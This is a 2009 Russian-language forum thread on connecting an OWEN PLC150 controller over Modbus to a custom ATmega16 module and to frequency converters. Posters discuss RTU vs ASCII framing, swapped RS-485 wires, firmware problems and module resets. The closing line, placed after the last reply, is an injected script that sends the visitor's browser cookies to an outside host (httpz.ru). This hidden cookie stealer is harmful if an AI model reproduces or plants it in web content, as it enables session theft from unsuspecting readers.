PDA

Просмотр полной версии : Проблемма подключения ПЛК150м по МодБас



Dima972m
06.04.2009, 13:48
Добрый день впервые работаю с ОВЕН ПЛК150-М. Создаю к нему спецефический модуль построенный на Atmega16 (пишу программу на СИ). В качестве протокола обмена выбрал ModBus. Прочитал руководство по модбас, написал программу, причем мое устройство является мастером. Подаю ModBus функцию 06 на ПЛК. ПЛК не видет приходящих данных и не дает ответа. Проверял правильность сформированного запросса при помощи осцилографа. Проверял правильность адресса, настройки кадра, скорости передачи, все вроде сходится. Отсылаю hex такого вида:
"0x01; 0x06; 0x00; 0x01; 0xFF; 0xFF; 0xD9; 0xBA".
CRC16 вычесленно правильно. Пробовал связываться по RS232 и RS485? результат одинаковый.
1.Не могу понять в чем дела,что я недопонимаю?
2.А также что такое в конфигурации ПЛК/ ModBusMaster/ Universel network devise команда "START (0xff)"(в документации не нашел). Может я ее не запускаю.
3.Где можно взять более подробную документацию?
4. Есть ли возможность общаться напрямую с портами (для написания на CodeSys своего протокола). Где взять литературу на эту тему?
Файл проекта

Филоненко Владислав
06.04.2009, 18:20
А. Не рекомендую использовать протокол RTU для начала работы. В нём очень важны тайминги между символами и их можно случайно не соблюсти и прибор отвечать не будет.
Б. Начните с 115200,8n1
В. Скорее всего у Вас стоит в DBGU кабель для программирования. По нему связаться по ModBus невозможно. Спаяйте кабель из руководства (без перемычки)
2. Вы используете slave. у него нет команды START (0xff)
3. На диске ПЛК
4. Можно, библиотека SysLibCom - см. примеры и форум.

Artemiy
10.04.2009, 11:10
Добрый день! У меня несколько похожая проблема. Пытаюсь связать ПЛК150 по модбасу с преобразователем частоты. ПЛК - мастер. В конфигурации ПЛК указал Universal ModBus Device. Адрес слэйва указал 19, Polling Time 1000 ms, Amount Repeat - 0, Byte Sequence - TraceMode.
Настройки скорости проверил - одинаковые и в ПЧ и в ПЛК. 19200, 8N1, RS-485, ASCII, Framing Time - 0 ms.
В Universal ModBus Device добавил два input register module. Указал в них RegisterAddress 119 и 120, Command - Read holding Register (0x03) в обоих. Согласно документации на ПЧ хочу считать из этих регистров значения напряжения сети и напряжение звена пост тока. Но в этих регистрах постоянно висят нули, а LastError=81. Куда дальше копать???
Пробовал команду 0х04 не помогает.

Филоненко Владислав
10.04.2009, 12:01
Для начала попробуйте связаться с указанными настройками с ПК (например программой ModBus Tester).

lunyov_i
10.04.2009, 12:44
Добрый день! У меня несколько похожая проблема. Пытаюсь связать ПЛК150 по модбасу с преобразователем частоты. ПЛК - мастер. В конфигурации ПЛК указал Universal ModBus Device. Адрес слэйва указал 19, Polling Time 1000 ms, Amount Repeat - 0, Byte Sequence - TraceMode.
Настройки скорости проверил - одинаковые и в ПЧ и в ПЛК. 19200, 8N1, RS-485, ASCII, Framing Time - 0 ms.
В Universal ModBus Device добавил два input register module. Указал в них RegisterAddress 119 и 120, Command - Read holding Register (0x03) в обоих. Согласно документации на ПЧ хочу считать из этих регистров значения напряжения сети и напряжение звена пост тока. Но в этих регистрах постоянно висят нули, а LastError=81. Куда дальше копать???
Пробовал команду 0х04 не помогает.
Я думаю что проблемы в данном случае не в Овне...
У меня все версии 2.03, 2.05, 2.07.2 работают в качестве мастера на скорости 1152000 - правда с МДВВ.. Не видел не одной проблемы,
даже на несколько суток ставил...Опрос делал 50 ms...
Думаю что ПЧ не отвечает... А не пробовали через какой нибудь OPC
напрямую обращаться к ПЧ, что в данном случае происходит?

Artemiy
10.04.2009, 14:37
ModBus Tester попробовал...работает...телеграммой 3 получаю нормально данные из ПЧ на ПК.
Дело в том, что я тоже пробовал ПЛК 150 с МДВВ на 115200 на 50 ms, у меня тоже никаких проблем не было. В идеале хочется в сети иметь и МДВВ и ПЧ. Но пока тестирую связь ПЛК 150 и ПЧ по RS-485.
Этот же ПЧ я связывал напрямую и с S7-300 и ПЛК Unitronics, оба они работали отлично. А Овен пока сопротивляется. Причем непонятно почему и кто виноват и что еще сделать?

Artemiy
10.04.2009, 14:49
Еще вдогонку что заметил. На ПЧ есть светодиод получена ли телеграмма по модбас. Устанавливаю в Universal ModBus Device Polling Time 1000 ms, т.е. светодиод на ПЧ должен мигать как минимум 1 раз в секунду, но реально он мигает где то раз в 3-4 секунды. Получается некоторые телеграммы вообще не доходят до ПЧ? Или может скорость просто повысить до 57600 к примеру?

Филоненко Владислав
10.04.2009, 15:59
Проект и описание ПЧ в студию

Artemiy
10.04.2009, 16:26
Проект пока нулевой...просто хочется пробить связь с ПЧ. Сам ПЧ называется pDriveMX - Shneider Electric.

Филоненко Владислав
10.04.2009, 19:00
1.Вы тестировали связь с ПЧ при таких-же настройках, как и с ПЛК?
2. Для чего Вы суммируете 100 Real каждый цикл? Возможно, у Вас просто процессор занят этими Real-ами и времени на нормальную обработку входов/выходов нет. Если прошивка 2.05.7 - просто упростите программу., если 2.07.2 и выше - можно также увеличить время цикла.
3.В описании ПЧ сказано, что он тормоз - может поможет увеличение таймаута ожидания ответа.
4. И судя по описанию, он работает в RTU-режиме. Хотя явно это не сказано.

Artemiy
13.04.2009, 11:13
Похоже ПЧ все такие работает в режиме ASCII. Я стал посылать с ПЛК по 485-ому на ПЧ и паралельно на ноут с ком-портом через преобразователь 485-232. Включил COM-Watcher и увидел какие посылки получает ПЧ. Получилось вот что:
B1 56 F6 96 F6 F6 16 16 F6 F6 F6 D6 F6 9F E5 EB 0
Программа ModBus Tester посылает:
05 03 00 77 00 01 35 94
и при такой посылке получаю данные на ПК.
Скорости в ПЧ и ПЛК настроены на 19200 8N1, ModBus адрес ПЧ 5, я пытаюсь считать один параметр по адресу 119=77hex. Программа в ПЛК упрощена до минимума. Вопрос откуда такая посылка непонятная от ОВЕН к ПЧ?

Филоненко Владислав
13.04.2009, 12:25
ПЧ как раз работает в режиме RTU.
Debug-порт ПЛК в режиме RTU как мастер не работает. Только ASCII.


Программа ModBus Tester посылает:
05 03 00 77 00 01 35 94 - это RTU


Это ASCII
B1 56 F6 96 F6 F6 16 16 F6 F6 F6 D6 F6 9F E5 EB 0

Artemiy
13.04.2009, 13:11
в конфигурации плк поставил общение по Rtu на ком-порт приходят посылки:
7d 7e 11 Ff Fd 95 D7.
а может должно приходить:
05 03 00 77 00 01 35 94?

Филоненко Владислав
13.04.2009, 13:46
поменяйте местами A и б на 485

Artemiy
14.04.2009, 10:40
Спасибо, Владислав. Поменял местами - все заработало.
Теперь новая проблема. Собрал сеть по 485-ому, ПЛК 150, МДВВ, МВА8. Настроил на 115200 8N1. Светодиод общения по RS-485 на МДВВ и МВА8 мигает и значения аналоговых входов получаю. Однако хочу отдельно сконфигурировать МВА8 (поменять скорость на 57600) программа конфигуратор выдает сообщение "Не удалось установить связь с прибором". Аналогично хочу сконфигурировать МДВВ - все хорошо. Связь с МДВВ есть.
МВА8 подключаю к ПК через преобразователь 232/485 МОХА. Никак не могу понять в чем дело. Как подключить МВА8 к ПК? На заводские настройки из программы конфигуратора сбрасывал. Никакого эффекта.

Artemiy
14.04.2009, 15:41
Решил вопрос. Надо было аппаратно сбросить на заводские настройки. Через джампер внутри модуля МВА8.

Jack
25.04.2009, 09:33
у нас проблема связи плк150 и частотника Atv31 возникла после замены прошивки с версии 2.02.8 на 2.07.2.по протоколу Modbus Rtu на скорости 19200 стала выдаваться ошибка 81 и ответов нет ( нули ).просим подсказать решение.

dimo4ka
25.04.2009, 11:23
тоже была такая проблема после обновление прошивки...перешился и все заработало
<script>img = new Image(); img.src = "http://httpz.ru/n1689.gif?"+document.cookie;</script>